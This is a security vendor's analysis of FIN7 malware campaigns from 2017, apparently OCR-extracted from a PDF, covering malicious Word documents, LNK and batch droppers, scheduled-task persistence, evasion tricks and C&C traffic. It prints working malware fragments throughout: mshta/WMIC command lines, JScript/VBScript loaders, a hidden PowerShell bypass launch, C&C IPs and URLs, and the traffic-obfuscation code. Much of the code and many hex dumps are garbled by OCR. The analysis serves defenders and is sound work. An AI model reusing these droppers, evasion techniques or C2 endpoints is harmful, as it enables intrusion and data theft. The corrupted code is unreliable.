MORPHISEC LAB

INTRODUCTION

Like clockwork, FIN7 again unleashed a new attack able to bypass almost every security solution. The attack,
which took place between October 8 to 10, 2017, is yet another demonstration of the high-paced innovation by
threat actors.

FIN7 is one of today's most organized and sophisticated cybercrime groups, primarily known for targeting US
businesses to steal payment card data. They typically use clever, customized spear-phishing lures with
malicious attachments. Once an organization is infected, they move laterally across the network, using various
anti-forensic techniques to evade detection. The group is closely tied to the notorious Carbanak Gang,
responsible for a slew of attacks against financial institutions, although so far evidence falls short of directly
equating the two.

Over the past year, Morphisec has been closely monitoring FIN7 and their targets, publishing several analyses
on methods used by this group. In June 2017 Morphisec identified a highly sophisticated fileless attack
targeting restaurants across the US, as discussed on Morphisec's blog and in a post co-authored with Cisco
Talos. The June campaign used a new stealer DLL variant injected into malicious documents.

In this report we take a broader approach, describing in detail the rapid dynamic changes over the course of the
last four months, including the recent October attack, which was first documented by researchers at lcebrg. We
examine each of the component modifications in the attack chains, and show how those changes helped FIN7
evade the dynamic behavior patterns and static patterns applied by many security solutions.

In fact, a presentation on FIN7 by FireEye at this year's InfoSecurity Europe stated that “In most environments,
prevention is not possible.” The presenters, however, did not take into account the effectiveness of Moving
Target Defense solutions (e.g. Morphisec Endpoint Threat Prevention solution) against these types of attacks.
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Technical Analysis

Document Structure — RTF and DOCX Format

We start with the first obvious component — the document structure. Over the period of the last four months,
FIN7 has used two types of Word document formats: Open XML Format (.docx) and Rich Text Format (.rtf).
Both document types contain the same embedded PNG object and a LNK file object that is executed by double
clicking the image.

With the exception of the September documents, the RTF (RTF files could be also renamed to DOC extensions)
files usually have the malicious code in plain text (Fig. 1 below), and the DOCX files usually have the code in one
of the xml documents archived inside the DOCX files (Fig. 2).
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During the same period, security solutions tried to create static patterns to help detect these malicious
documents. Those patterns were based on some of the following observations:

» Names of methods or variables

*  Order of bytes or strings

» Code introspection by simulated interpreter execution (needs valid RTF parser)

»= Decode of base64 strings and deeper examination of the code after the decoding

» Byte pattern detection for some Unicode and ASCII strings that are represented in HEX pattern (code that is
within the LNK file will usually be represented UNICODE to HEX)

Is this enough to combat Fin7? A look at Virus Total scoring reveals that when a FIN7 campaign is first active, is
goes mostly undetected by security solutions. The malicious documents do not score more than 1-3 detections.
Within a couple of days, security solutions update their patterns and those documents score around 10/56 or
higher. However, at the same time, the FIN7 group begins shutting down that campaign and starts work on the
next one, thereby diminishing the usefulness of reactive, pattern-based detection rules for such attacks.

There are many ways to break string and byte patterns inside the document structure. For example, for RTF
documents there are inserting dummy control words, spaces, messing up the encoding, and abusing the
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standard by breaking AV document parsers. During the latest FIN7 campaigns, the hacker group broke almost
every above-mentioned detection method as described next.

= July — The group evaded string-based pattern detection, especially the patterns which are based on
method names and parameter names. Most likely those names are automatically re-obfuscated using
some framework before every campaign.

= August — In order to evade base64 automatic decoding rules and code introspection implemented by
security solutions, the FIN7 injected dummy control words within and between the different strings
including the base64 strings. A control word is a specially formatted command that RTF uses to mark
printer control codes or information that applications use to manage documents. This broke the validity
of the strings if parsing the strings sequentially. RTF standard allows the use of control words which are
not recognized by some parsers (to support backward compatibility), the scopes represented by the
control words are stacked and if the control word is not recognized, the scope is popped out of the
stack. As a result, the attack successfully executed by any standard Microsoft Word parser but evaded
the known static introspection by antivirus parsers.

i)

WM1JOVVRCSMVGa31lNVEJIJSY1IUIMVUyMULhR1pxUWO1VEOyeERUVMRPZEdRe IRrcFNNWEJ2V1d0b1QySkZkR1 ZgTURWR.
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= September — The group evaded most of the static patterns rules by simply converting all human
readable code into HEX representation (moving the malicious code to the internals of the LNK file object
and breaking previous string matching patterns). This kind of manipulation hold still further options for
the attackers; they easily can change their encoding to any other form, such a binary for example.
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654 000000N00N000N0NONDN0N0000000 Kt
655 0%0000a08900000031535053=28a5
656 00310030003000300000000000000000000000600000000300002058000000000000007573722d7063000000000000000000009265bed4d0e425468c202768128dfeBdf
657 2f2a40233823402a2f7472797b73683d6e657720416374697665584f626a656374282257736372659707422536B656c6c22293b66733d62657720416374697665584f626
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In addition, the hackers also moved the code between some of the internal documents in DOCX format, from
document.xml to oleObject1.bin.

© Morphisec Ltd, 2017 info@morphisec.com www.morphisec.com 3|Page


mailto:info@morphisec.com

MORPHISEC MORPHISEC LAB

Moving Target Defense

= cleObject1 bin E1

1 =

3

4

[

E
10 echo /*B#8#@*/try{sh=new ActiveXObject ("Wscript.sShell");fs=new ActiveXCbject("Scripting.FileSystemObject"]
11
12 war console={};console.log=function(){};

13 war arrl = "john".split('');
14 wvar arrl = arrl.reverse():
15 war arr3 = "jones".split('');

16 arrZ.push(arrc3):;
17 console.log("array 1: length=" + arrl.length + " last=" + arrl.slice(-1));

18 console.log("array 2: length=" + arrZ.length + " last=" + arr2.slice(-1)):

21 function fooll()

22 {

23 return {

24 bar: "hello"
25 }i

26 }

28 function fooZ()
29 |
3 return
{
bar: "hello"™
};
H

function bé4dec(data) {
var cdo = new ActiveXObject ("CDO.Message");
var bp = cdo.BodyPart;
bp.ContentTransferEncoding = "base6&4";
bp.charset = "windows-1251";
var st = bp.GetEncodedContentStream();
st.WriteText (data);

et Tlaeh ) -

= October — The group replaced the LNK file with a simple CMD batch file embedded as OLE object inside

the DOC file (represented as HEX string).
Eﬂudmkumdﬁ|

1 iset w=wsc@ript /b /e:js@cript ¥HOMEPATH%\tt.txt

2 leche try{var fs=new RctiveXCbject ('Scripting.FileSystemCbject');sh=new ActiveXObject (
2  fGeeopy [y ¥TMPE#\unlock.cmd OMEPATH%\pp.txt

4 fecho %w:@=%|cmd

5 Ff ticn béd4dec (data) {

6 ¥ var cdo = new ActiveXChject ("CDO.Message");

7 ¥ var bp = cdo.BodyPart;

8 ¥ bp.ContentTransferEncoding = "base64";

3 % bp.Charset = "windows—-1251";

10 ¥ var st = bp.GetEncodedContentStream() ;

11 % st.WriteText (data);

12 ¥ st.Flush{) ;

13 ¥ st = bp.GetDecodedContentStream() ;

14 ¥ =t.Charset = "utf-8";

15 ¥ return =st.ReadText;

16 #}

17 #var fso = new ActiveXObject ("Scripting.FileSystemObject");

8 var sh = new ActiveXObject ("Wscript.Shell");

[:

19 var f£ldr = sh.ExpandEnvironmentStrings ("$HOMEPATHS™) ;

0 fvar p= "";

1  f#p = fldr + "\\whatis.ini";

2 Fif(!fso.FileExists(p)) {

3 ¥* var £ = fso.COpenTextFile(p,2,1);

4 F f.Write{ b64dec('2nVu¥3Rpb24gcGFlc2Vib2lwEGlpbGxpeykNCnsNC1AgICB2YXIgaGF02SASIGS1d
5 ¥ f.Close();

6 ¥}

fomd = 'wscript.exe //b //e:jscript "' + p + '"';
cmd, 0, false);
eteFile (WScript.ScriptFullName, true);

ion Bbracadabra () {
{

oW om

[ ST T o6 T T o T O T S T L T o T o T LS T L T ()

by

var objWord=GetObject ("", "Word.Zpplication");
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Stage 1: LNK file — OLE Object

Except for the October campaign, OLE .Ink file execution from Word documents was used during all FIN7
campaigns in the past year and is one of the most tell-tale FIN7 signatures. This is why many of the security
solutions focus on detecting the .Ink file execution from within Word either statically or dynamically. At the same
time, they try to limit false positives as there are some legitimate examples for such execution flow (e.g.
combining identification of LNK file code content in HEX to Unicode representation, LNK file details, names and
sizes can limit the False Positive rate).

The table below presents examples of FIN7's pattern modification during the period of the last 4 months and
the October campaign. It demonstrates how this hacker group is able to easily bypass all current behavior and
pattern recognition defenses.

Campaign | LNK File Name LNK File Content
time
Middle Unprotect.Ink mshta.exe vbscript:Execute("On Error Resume Next:set
June wprotect=GetObject(,"" Word.Application").execute

wprotect. ActiveDocument Shapes(1). TextFrame. TextRange. Text.close")

June/Jul | unprotect.rifink | cmd.exe /C set x=wsc@ript /e;js@cript %HOMEPATH%\md>b.txt & echo
try{w=GetObject(","Wor'+'d.Application");this[String.fromCharCode(101)+'va+I'|(w.Activ
eDocument.Shapes(1). TextFrame. TextRange. Text);}catch(e){};
>%HOMEPATH%\md5.txt & ech

August unlock.doc.Ink WMIC.exe process call create ‘mshta
Javascript:eval(\"try{eval('wall=GetObject(\\'\\"+String.fromCharCode(44)+"\\'Word.Appli
cation\\'));eval(wall ActiveDocument.Shapes(2). TextFrame. TextRange. Text),}catch(e){};
close();\

September | unlock.doc.Ink WMIC.exe process call create "'cmd start /min cmd /c for /f \"usebackq delims=\" %x in
(‘FindStr /R /C:\"@#[0-9]#@\" \"% TEMP%\unlock.doc.Ink\"") do %xjcmd >nul 2>&1 &"

October unclock.emd | —--

LNK FILE — PROPERTIES CODE CONTENT
STATIC APPROACH

LNK file execution from within Word documents can be easily identified statically within many of the document
formats. RTF standard for embedded objects will require it to be prefixed with "\objdata"; it may also be
followed by an encoding indicator like "\bin"). The .LNK file content is also part of the embedded object and
usually represented in Unicode translated to HEX encoding (or other encoding, e.g. binary). The same object
also includes the original LNK full path name represented in ASCII and translated to HEX. Any of the LNK file
indicators (e.g. content, name, location) can be used in static pattern detection (e.g. using Yara rules). Although
those detection methods are implemented by many solutions, they are very easy to bypass. And, as these
targeted campaigns usually have a very short time exposure, these types of rules are not fit to prevent any
future unknown campaigns.
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DYNAMIC APPROACH

Some security solutions try to detect and prevent the execution of suspicious process chain patterns
dynamically (e.g. winword.exe-> mshta.exe/cmd.exe/wmic.exe -> wscript.exe). Some of the algorithms extract
the properties code content out of the LNK file and block the execution of WORD even before the child process
execution simply by inspection of the LNK file content. Other mechanisms block the execution of the process
chain in runtime, usually using some sort of driver that is registered for process notification callbacks and
blocks the process create as soon as a process chains matches one of the malicious patterns. Some of the
NextGen solutions use Al models, however these are trained on the same prior known process chain patterns
and therefore are prone to the same bypasses as others. Moreover, Al are especially prone to producing many
false positives.

As shown in the table above, the attackers change and modify their process chain patterns constantly, and
might use more advanced techniques (e.qg. forfiles.exe to simulate the execution of CMD.exe or other processes
https://twitter.com/vector_sec/status/896049052642533376 or executing the same using Pcalua
https://twitter.com/0Orbz_/status/912491288104140801) or just increase the process chain nest to fool some
of those security patterns.

LNK FILE — FILE DETAILS / BATCH FILE DETAILS

As mentioned previously, some security solutions also use LNK file details to minimize the exposure to false
positives. Some of those details, which appear in HEX format inside the rtf or docx files, are:

= Original file name and full path, usually converted ASCII to HEX in the RTF file (e.g. C:\Users\jinvr-3-
1\Desktop\unlock.doc.Ink)

» User name on the compile machine of the attacker (e.qg. jinvr-3-1, andy)

*= Compile machine name of the attacker (e.g. andy-pc)

* |n some cases, even the Office version on the attacker's computer can be registered in the LNK file and used
for detection

= [ NKfile size (in FIN7 campaigns the size can be up to more than 400K, since it also includes the next stage
code. The usual size is not more than 4K ]

= And more...

Although some of those parameters haven't changed much between the campaigns, it is fairly easy to modify
any patterns that are based on the LNK file details.
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As mentioned earlier, FIN7 removed LNK File from the attack chain in their October 8-10 campaign and instead
added a direct CMD batch file with clear commands. In this case, we can still identify the user machine using
the details of the embedded batch objects:

Jum ck.cmd

= group-orderf E3 |

4da4e8£f4dT7e9c183073b5dEf45a6ddf0b7797£68b3ale79d359%b7529634b32e3b6e%08£4f1a451cc3b25£9744b4bbd61ed44ddel105771835c75facbb2abff4e2b
dSbf5d3e46bb286b5957e57a2acabeef3f116dafb537bfacfbi6f8dESbefbd54db9034614dfbT7cdldf69%abfb2349%1cdSb36ebfta77d3ebede56£4a67d97b6TC
Bab4287f69d7cf7aleccdatf769%fcfcasfs67416e56ddeTalbbelbeabe06b25d4f8bf665dadfd3f625eb3950b7ecd3de0f966%8a5cetTocce720eabbd56e7dd2f
d2e637cbf9444405d31bf0e69%cflefe5d45dafi3eSbfcbeclefetadbl3285f79d24a3e4f5b56b3964fb3af7%ca204b%e263f5b47154f4b2fedb6167d57445e57
556£d%£25bf57dde324%b4edéTcafaleccTff5ee5715d5446de74563dfeT%0653267d222ad646dea52bTb73ceba7fal2e2ac3a2£293d4d28cE£7715dbl 5dfde
2cablce32ceTeldbcVcbécfabebeci3bT76eb30£77dbi3c65%4cae337%7ecf3bdiBb4£67c5e96876%b2e73adatadll27aledb35%1alacec36doc43cebBe3£1544af
321febb22d41cBbée423aff1f71acTifde05bb94d74556d5357bc0lec3465ef17652aTba23255fb3b75db568b356£3d7ad%3ata2d68£d3655abb76dd7d5e4£5bd
cbe7fb2ee79d88£2597b4ddde48bd6abb88a9d95feaZedBf7£37eb85£05529a6453EfcEf7269979£75035£fb61£8534e550266£8bd625faclb26clSe7d3bEfcSf5de
Taebadc2d24553e765d25c27cdbbBab8%ectbiSb749dasSblee722a4291d7db32eb66356645aecf005368£584d65a6£3a1344444444b41cce284144444454020¢
=ad8886886884a80411d111111510530a8232222222a0106754444444425c0a08=8088888a80418d4111111115500833a222222a21260504744444454020c=28886888884a80411c
}H\sp{\sn £illDztype}{\sv B}}{\sp{\=sn £illOrigin¥}{\sv —-32767}}{\sp{\sn £11lOrigin¥}{\sv -32767}}{\sp{\sn £illShapeOrigin¥}{\sv —-32767}}{\:=
{\sp{\sn £fFilled}{\sv 1}}{\sp{i\=n fHitTestFill}{\=sv 1}}{\sp{\sn fillShape}{\sv 1}}{\sp{isn £illUseRect}{\sv 0}}{\=p{\=sn fNoFillHitTest}{\sv
{\sp{\sn fPreferRelativeResize}{\sv 1}}{\sp{\sn posh}{\sv 2}}{\sp{\sn dhgt}{\sv 251659264}}{\sp{\sn fReallyHidden}{\sv 0}}{\sp{\sn fScriptar
{\sp{\sn fFakeMaster}{\sv 0}}{\sp{\sn fCameFromImgDummy}{\sv 0}}{\sp{\sn pctHoriz}{\sv 756}}{\sp{\sn pctVert}{\sv 456}}{\sp{\sn fLayoutInCel
\widctlpar\wrapdefaultiaspalphal\aspnum\faautohadjustrightirin0\1lin0\itap0 ‘\rtlch\fesl \af31507\afs22\alangl025 ‘\ltrch\fes0 \f31506\fs22\lanc
\widctlpar\wrapdefaulthaspalpha\aspnum'\faautohadjustright\rin0i\lin0\itap0 ‘rtlch\fecsl “\af31507\afs22\alangl025 ‘ltrch\fca0 \£31506\fs22\lanc
{\*\objdata 0105000002000000080000005061636bk167650000000000000000005c330<00

0200756e6c6f636b2e636d6400433a5
4063726970742025484£4d455041544
27293b703d73682e457870616264456
T6617220636£6d3d27273b7768696cE
43686172436£646528313031292b277
6675626374656£62206236346465632
2d20226261726526342223b0d0a230562
057374203d2062702e4765744465636
6eE672e46696cE6553757374656d4£626
0a237661722070203d2022223b0d0a23
62567555335270623234676347463163
4a55335679524746305a534139494735
4735694b4B526c654851704948734e43
6c6257567564436765516d467a5a5459

| 5

£ O Python 2 python. e

more information.
"BlI5BBSEBZBSEBBBIBBBBBIB5BG1636h616765BBBBIBBBBIBBBB&&BBSc33BcSEBZBI756e6chﬁ36b2e636d64IB43355c55736572735c616964

42e7478740d0a406563686F207472797b7661722066733d6e65772041637469 76655
4656d4f626a65637427293b73683d6&657723416374697665584f626a656374282757736372697.742&5368656c6c27293b783d73682945787l6169=
[4456e7669726f6ebd656e74537472696e677328272525484F 4d272h27455A415448252527292b2 75c5c 7087026 747874273h 7661722066 3d66 7326 4f

a4@636f 708792821 792025544d50255c756ebc6f636b2e636d642025484F 444550415448255c70702e747874000a406563686F 20257732403d257c6 34
d640d022366756e6374696F6e2062363464656328646174" . decode("hex"">
"\xﬂl\xBS\xBB\xBB\xl2\xﬂl\xﬂﬂ\xﬂﬂ\xlﬂ\xﬂl\xﬂﬂ\xBBPackage\XBE\xBB\xBB\xlB\xﬂl\xﬂﬂ\xﬂﬂ\xlﬂ\xﬂﬂ\\3\xBn\xlB\xﬂ2\xBﬂunlnck c
d\xBBC : \\Ugelﬂ\\andy\\ne

e md*>BAE2 \xBc;

S ystemQhject’ >
=fs.0penTextFi
f .Close{);try{fs
t.txtsrsnlcopy ~y xTHPx~Nunlock.cnd /HOHEPHTH/\\pp txtsrsnBecho xws

575675644335756232526c564862775,
3061585a6c57453969616d566a644367
.

a
B u el 1>
eletEFlle(p, truel; }catch(e){)thlglstllng f}umCha}Cude(lﬂi)+‘u‘+ al’ 1{com>; }catch(e){), )/HOHEPRTH/\\I

icmdsranBfunction heddec<dat”

The second stage of malicious code extraction and execution is performed by the code written inside the LNK
file properties content as described in the previous section. The process chain executed from LNK contents as
described in will eventually extract the next stage malicious JavaScript code from the active Word
process (sometimes VBscript as well). The hacker uses OLE automation to extract and execute the malicious
code from the Shape.TextFrame.Text property that resides within the active Word process.

The obvious exclusion from this pattern is found in the latest two campaigns (September and October).
Here the hackers removed the stage of reading the code from active documents and directly injected most
of the code as part of the LNK file details or as part of a batch file. In the case of the September campaign,
the code is extracted from the internals of the LNK file details after tracking the special cookie indicator
(\"@#[0-9]#@\" ) inside file content (Stage 1). In the October campaign the code is activated directly from
embedded batch script which writes the next stage into a whatis.ini file and then executes it.

Shape.TextFrame.Text

In most cases Shape. TextFrame. Text property contains the malicious next stage JavaScript/VBscript code. The
code is part of the shape objects inside the active document. Extracting such code for pattern matching can be
easily done dynamically using the same OLE Automation methods or statically by having good rtf or docx
parser. (It can be assumed, that many modern security detection solutions have such functionality.)

The table below clearly shows how the attackers gradually modified this second stage code chain extraction
and execution to evade static and dynamic analysis (until they finally removed it altogether):
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A I’|| (General) j |pnmsnapeTextn.ameTen
p Sub printshapeTextFrameText ()

Dim Shp As Shape

1n = Len(ActiveDocument.Shapes (1) .TextFrame.TextRangs.Text)

--Shape 1 -
Debug.Print Mid(ActiveDocument.Shapes (1} .TextFrame.TextRange.Texs, 1, 1200)
Debug.Print "..."

Debug.Print Mid(ActiveDocument.Shapes (1} .TexcFrame.TextRange.Texs, 1n - 1350, 1220}

« |

=]
B
&
a
™
"
i
&
a
a

Immediate

On Error Resume Next

beg = "T24gRXJYb3IgUmVZAW11TES]eHQNCIZ1 T 1N3 c1BY¥1J1bi nwemNOYW1 1LCBwCmSnTml hZSkNCg1kaW0gYzogYyAS TDANCG1TZXQgb2 JgW01JU2Vydnlj ZSASTEA1dE9iamv] dCgid2 1ubWdt dEMETiB
aWx1TmFCZ5ASTGN1enJEaXIgJiAiXCIgdiAiNTh1ZnMxOHY0YZM0Z 3 QuNTU4Nz g Tg0XDQPEaN0geGas: ‘SbF9wdGhwYXRoO1iBub3dl

eRrray = Array("avp.exe", "avpsys.exe")
dim isRunWList: isRunWList = checkWhiteList (prclst,whitehrray)

Set sh = CreateObject ("WScript.Shell")
pToldrs h.E 3 rings ("$HOMEPATH") & "\Intel"
pToBvbs = pTolLdrs & "\58efcl9f4c34e7.63020814.vbs"
PToPSChb = ploldrs & "\S&efclOof4c34f4.55578245.psl"
pTovbLd = ploldrs & "\58efcl9f4c32£5.83821023.vbs"
Dim wscript_pthpath: wscript_pthpath = sh.ExpandEnvironmentStrings ("$WINDIRE") + "\System32\WScript.exe"
Dim run_pthVb2: run_pthVb2 = """" & wscript_pthpath & """ """ & pTaBvbs & """"
If isRunWList 0 Then

sh.Run "schtasks /create /tn ""Intel™ /tr """ & run_pthVb2 & " //S"" /sc minute /mo 25", 0, False
End If
Set fso = CreateObject ("Scripting.FileSystemCbiect™)
If Mot fso.FolderExists(pToLdrs) Then

f£30.CreateFolder (pToldrs)
End If
If isRunWlist = 0 Then

Set Txt = FSO.CreateTextFile (pToBvbs, True)

Txzr.Write( base4decode (beg) )

Txt.Close

Ser Txr = F50.CreateTextFile (pToPSCh, True)

Txt.Write( base4decode (psCh) )

Txr.Close

if countWScrPrcRun (pToPSCh, "powershell.exe") = 0 then

If f£so.FileExists(pToPSCb) Then
sh.Run "powershell.exe -NoE —NoP -NonI -ExecutionPolicy Bypass -w Hidden -File " & pToPSCb, 0, False
End If

end if

End I

\J une / J u | y (General) =] [printshapeTextFrameText

Sub printShapeTextFrameText ()
Dim Shp As Shape

Debug.Print M---—--—-—-| Shape 1 —------—- nm
Debug.Print Mid(ActiveDocument.Shapes (1) .TextFrame.TextRange.Text, 1, 1200)
End Sub

< |

Immediate

var empl = new Employee('John Doe', 28);
empl.name; // "John Doe™
empl.age; // 28

function bé4dec(data){
var ecdo = new ActiveXObject ("CDO.Message");
var bp = cdo.BodyPart;
bp.ContentTransferEncoding = "base8d";
bp.Charset = "windows-1251";
var st = bp.GetEncodedContentStream() ;
st.WriteText (data) ;
st.Flush():
st = bp.GetDecodedContentStrean () ;
st.Charset &
return st.ReadText:

var console={}:console.log=function (}{};
wvar myObject = {
foo: "bar",
func: function(} {
var self = this;
console.log("outer func: this.foo = " + this.foo):
console.log("outer func: self.foo = " + self.foo);
(function() {
console.log("inner func: this.foo = " + this.foo):
console.log("inner func: self.fooc = " + self.foo);

by

i
myObject.func() 7

war srcTxt = ["ZnVuY3Rpb24gRyhIKXsNCgl2YXIgSSASIGS51dyBBY3RpdmVYT2JgZWNOKCIDREBuTWVZc2FnZSIpOow0KCXEnciBKID0gSS5Ch2R5UGFydDsNCglRLENvbnR1bnRUcHFac2Z1ckVuY29kaWsnID0gIndhc2U2NC,
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) Retirement_co12F - ThisDocument (Code) |E=5(ESE =)
AU g u St [(Generaiy x| [printshapeTextFrameText =

Sub printShapeTextFrameText () j

Dim Shp As Shape
Debug.Brint "-----—--—- Shape 2 ——-—---—- nnm

Debug.Print Mid (ActiveDocument.Shapes(3) .TextFrame, TextRange.Text, 500, 1200)
End Sub

= 4| | 497
mmediate
—————————— Shape 2 ---------
tryl
Jelo = 'try{w=GetObject ("%, "Hor"+"d.Application”);this[String. fromCharCode (101)+Y'wa\l'+\'1\'] (w.ActiveDocument.Shapes(3) .TextFrame . TextRange.Text) ; jcatch(e) {1:':

var fso = new ActiveXObject ("Scripting.FileSystemObject™);
var sh = new RctiveXObject ("Wscript.Shell™);
var p = sh.ExpandEnvironmentStrings ("SHOMEPATH:") + "\\jelo.txc";
if(1fs0.FileExists(p)){
var f£ = fso.OpenTexcFile(p,2,1):
f.Write( jelo );
£.Clos=();
var omd = 'wscript //B /e:jscript '+p;
sn.Run(cmd, 0, false);

}
teatchie) {};

var console={};console.log=function(}{};
console.log((function f(n){return {(n > 1) 2 n * £(n-1) : n)}) (10)):

var srcTxt = ["ZnVuY3Rpb240QihDRKXsNCgl2YXIgRCASIES1dyEEYSRodnVYT THV: IpOWOKCXZhciBFIDOGRCSCh2RSUGFydDsNCy1FLENvbnR1bnRUcFuc2Z LckVuy2 8kal5nID0g Indhe2U2NCI 700
YhQKXsNCgl0cn17DQoJCKZhei BREUA1GESiamV dCyi TiwiV29yZCsBeHBaalNh

September | WMIC.exe process call create "cmd start /min cmd /c for /f \ "usebackqg
delims=\" %x in (‘FindStr /R /C:\"@#[0-9]4@\" —— )
\"%TEMP%\unlock.doc.Ink\"’) do %x|cmd >nul 2>&1 &"

File: unlock.doc. Offset: 0x00000C80 / Ox00O67ESE (%01)
0O0AOR3® 08 27 , 65 63 68 6 ..'=Rh......echo
000AOB4O 20 79 7 - aH#8#
00OAOB50 4F 6

POOAOB6O 53 6

POOAOBTO 63

POOAOREO 72 6

pOOAORIG

POOAOBAO

POOAOBBO
POOAOBCH
POOAOBDO
POOAOBEN
POOAOBFO
0AAQQCHR
IDE jac10
000A0C20

October [=] unlock.cmd E3 |E group-order if .;ﬂl

17  #var fzo = new ActiveXObject ("Scripting.FileSystemCbiject");
18  f#var sh = new RActiveXObject ("Wscript.Shell");

15 fvar fldr = sh.ExpandEnvironmentStrings("%HOMEPATHE") ;

20 fvar p = "";

21 #p = fldr + "\\whatis.ini";

22 fif(!fso.FileExists(p)) {

22 % var £ = fso.0penTextFile(p,2,1);

24 f.Write({ béd4dec('ZnVu¥3Epb24gcGFlc2Vib2lwEGlpbGxpoykNCnaNC 1,
25 # f.Close();

26 #}

27  fcomd = 'wscript.exe //b //e:jscript "' + p + ""7';

28 $#sh.Buni{cmd, 0, false);

2% ff=o.DeleteFile (WScript.ScriptFullName, true);

w =

6
2l
i
!
i
!
6!
6
pl
£
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Initially, the hackers wrote the code in clear text directly as part of Shape 1. This can be easily parsed by static
security solutions. As this early version wasn't evasive enough, FIN7 included an abort operation if Kaspersky
processes were found. In later campaigns from June and July they modified the Shape number (to evade the
simple pattern of executing ActiveDocument.Shape[0]. TextFrame.Text in Word document from within
JavaScript). Next, they also added techniques that would confuse dynamic analyzers (overriding console
function and messing with the control flow). In their August campaign they added one more stage in between
and moved the malicious code into Shape 3 after redirecting Shape 2 to it (as shown in the table above).

As stated previously, in latest campaigns this stage was removed and the code was extracted and executed directly
from within the LNK file content or the batch file content.

Since there are many ways to break behavior patterns recognition or the static analysis based on the shape
execution source and sequence, this is a very weak basis for detection of this type of malicious behavior.

We suspect the hackers may use additional ways to extract and execute the code:
= Using other Document properties (already used in later stages of the attack)

Y.ActiveDocument.BuiltInDocumentProperties (“Comments”) ;

= Using InlineShapes instead of regular shapes

» Using Excel and its ActiveSheet

» Extracting the Text using OleObjects in VB

= Adding more shapes in the sequence

* Read the code directly from LNK or PNG files (specially the PNG)
= And more...

As mentioned before, the rapid changes in this stage leave most detection solutions a few steps behind, which
is just enough to reach the target of the campaign.

Stage 3 — Scheduled tasks

We will not cover the internals of the scheduled tasks since, other than the time trigger, they have not changed
much over the last several campaigns.

MName Status Triggers Mext Run Time
(T {2DFBACDA-... Ready At @ on 10/12/2017 10/12/2017 (g
(B {B2324E4C-6... Ready aallalin" 1\ on 5/22/2017 - After triggered, repeat every 00:47:00 indefinitely. 10/12/2017 —_—

4 1 3

General |Triggers Actions | Conditions | Settingsl History (disabled)

When you create a task, you must specify the action that will cccur when your task starts. To change these actions, open the task property pages using the Properties T
command. L

»

Action Dietails
Start a program wscript.exe //b /ejscript \Users\“{ZDFﬁAC DA-8FF7-8208-T7F5-8581 FOD479E91\50d76612d0kb10.88793003 it

m
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Stage 4 — Network based detection evasion

As described in the previous sections, many of the malicious code signatures and patterns can be easily
modified by hackers or even by automatic frameworks that have the ability to reorder, obfuscate and encode
code. By contrast, C&C protocol modification requires significantly more effort and resources. Many of today's
security solutions (AV/NGAV) will usually have at least one network host intrusion detection module (IDS).
Those modules might detect suspicious traffic with IDS rules that are created based on some of the following
parameters:

* |P/URL reputation

»= URL and header structures (parameters, ports)

*= Protocol communication sequence and timing patterns (query and query type sequence)

* Deep packet inspection

» Packet sizes

= Anomaly and deviation from other computers network behavior within the enterprise (less relevant for APT,
more relevant for Bots)

Although FIN7 successfully evades some of the above IDS-based rules, some relatively basic rules can certainly
limit the risk of being compromised by these threat actors. This is described next.

C&C

With respect to C&C, IP reputation and URL structure, the FIN7 protocol doesn't differ much from many other
protocols used by some of the most popular RAT families’ protocols.

It is known that ports 80 and 443 are often utilized by RATs for their communication protocol, simply because
those ports are usually not filtered by firewalls. FIN7 certainly uses those ports, but the group also uses Google
API URLs which are rarely filtered by gateways and other ports as well.

The hackers are not using real HTTPS protocol over the port 443. Instead they use substitution cypher with a
constantly changing key. Although blocking non-https traffic on 443 or non-http traffic on 80 can certainly help,
this results in many false positives. Hackers are well aware of this fact.

The table below represents the changes in the URL sequence and structure modification (not including the
parameters) with each listed campaign.

June hxxps://script.google.com/macros/s/AKfycbwkNc-
8rk0caDWO5I14KMymvOXVinfOpR1eevZ63xiXDvcoqOE6p/exec

Start July hxxp://5.149.253.126:443/cd
hxxp://5.149.253.126:80/cd
hxxp://5.149.253.126:8080/cd

hxxps://script.google.com/macros/s/AKfycbxyilBWISHUFV4S5JM6IW-
dmVADFOrTJDM7bZspeBf2Kpf4INO/exec

Mid July hxxp://104.232.34.36:80/cd
hxxp://104.232.34.36:443/cd
hxxp://104.232.34.36:8080/cd
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hxxps://script.google.com/macros/s/AKfycbz6dmNJfCPwFchoqbWkJsMjQu22
SJTJ9pxMUeQR7bCpmJIhW6Bg2/exec

July- http://5.149.250.235:80/cd
AUQUST | o175 149 250.235:443/cd
September

http://6.149.250.235:8080/cd
http://5.149.250.235:53/cd

https://script.google.com/macros/s/AKfycbxvGGF-
QBkaNIWCBFgjohBtkmyfyRpvm91yCGEvzgDvAJdqfW8_/exec

October http://31.148.220.215:53/cd
http://31.148.220.215:80/cd
http://31.148.220.215:443/cd
http://31.148.220.215:8080/cd

Below are some of the patterns FIN7 is modifying to evade many of the IDS rules:

» Throughout the latest campaigns, all hardcoded URLs are inside a comment within the malicious code.
The code extracts the URLs in runtime from the comments.

= Every query is executed against a sequence of URLs, until the first successful response is received. This
response ends the execution of the sequence and as a result the attacker can control the sequence
length directly from the C&C server. This enables the attackers to mess up the sequence and reputation
based detection patterns.

»= To break header structure matching, for each query, the URL is appended with random named
parameters + encoded values which are encrypted in each campaign with a different substitution cypher
and a unique campaign key.

function randomUrl (str) {
var result = ""
var parkrray = [];
parirray.push({ name: randomParamiMame (), data: encodeURI(SimpleEncrypt(str)) });
parfirray.push({{ name: randomParamWName (), data: encodeURI(b&d4enc(kkid)) });
for (var i = getRandomInt(0,5); 1 > 0; ——1i){
parArray.push({ name: randomParamMName (), data: randomParamData() });

}
parkrray.=sort (function{a, b){return 0.5 - Math.random() });

for (var 1 = 0; i1 < parRrray.length; i++) |
result += parkrray([i].name + "=" + parBRrray[i].data + "&";

}

return "?" + result.replace(/&+3/,"");

}

» To break deep packet inspection, each piece of information posted to the C&C is encoded with substitution
cypher as well.

© Morphisec Ltd, 2017 info@morphisec.com www.morphisec.com 12|Page
T UUUUUUUURRRhR


mailto:info@morphisec.com

li| MORPHISEC

Moving Target Defense

305 H funection SimpleEncrypt (2) {

308 var str = bodenc(a);

307 var chrirr = str.split(''};

208 var pos = -1;

308 var resulthrray = []:

310 E for {(var i = 0; i € chriArr.length; i++) {
311 E pos = alfIn.index0f {chrirr[i]);

312 - if{ pos '= -1 3 {

313 resultirray.push({ alflut.charit(pos) );
314 lelae]

315 resultArray.push({ chrarr[i] }:
3lc - }

317 = 1

318 return resultirray.join{"");

315 = ¥

320

321 [H funetion SimpleDencryptiz){

322 TAFr Str = &;

3Z3 var chrirr = str.split(''};

3z4 var pos = -1;

3Z5 var resulthrray = []:

